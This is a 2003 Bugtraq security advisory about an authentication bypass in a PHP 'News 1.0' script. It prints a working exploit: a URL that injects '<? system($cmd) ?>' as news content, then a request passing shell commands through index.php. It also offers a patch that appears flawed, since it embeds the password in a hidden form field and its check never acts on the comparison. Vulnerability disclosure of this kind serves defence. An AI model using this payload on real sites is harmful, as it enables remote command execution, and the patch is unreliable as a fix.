[29570] in bugtraq
=?koi8-r?B?VnVsbmVyYWJpbGl0eSBpbiBOZXdzL+7P18/T1Mk=?=
daemon@ATHENA.MIT.EDU (Over_G)
Mon Mar 31 19:12:30 2003
Date: Mon, 31 Mar 2003 17:16:39 +0400
From: Over_G <overg@mail.ru>
Reply-To: Over G <overg@mail.ru>
Message-ID: <1286110150.20030331171639@mail.ru>
To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 8bit
Product: News
Version: 1.0
OffSite: http://xonix.ru
Problem: Add news
--------------------------------------
You may add news without autorization.
http://[target]/admin/script.php?data=ENTER_THIS_YOUR_NEWS.
example:
http://[target]/admin/script.php?data=script.php?data=<? system($cmd) ?>
then open http://[target]/index.php?cmd=id;uname -a;
etc...
Patch.
Add in index.php :
<input type=hidden name=pass value=<?=$pass?>> Before </form>
And add in script.php after include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);
greetz: GipsHack, DHGroup, subj, Lobst, and all, who know me
Contacts: www.overg.com www.dwcgr0up.com
irc.zaingandol.org #DWC
ogprog@ukr.net
Best regards, Over G[DWC Gr0up]
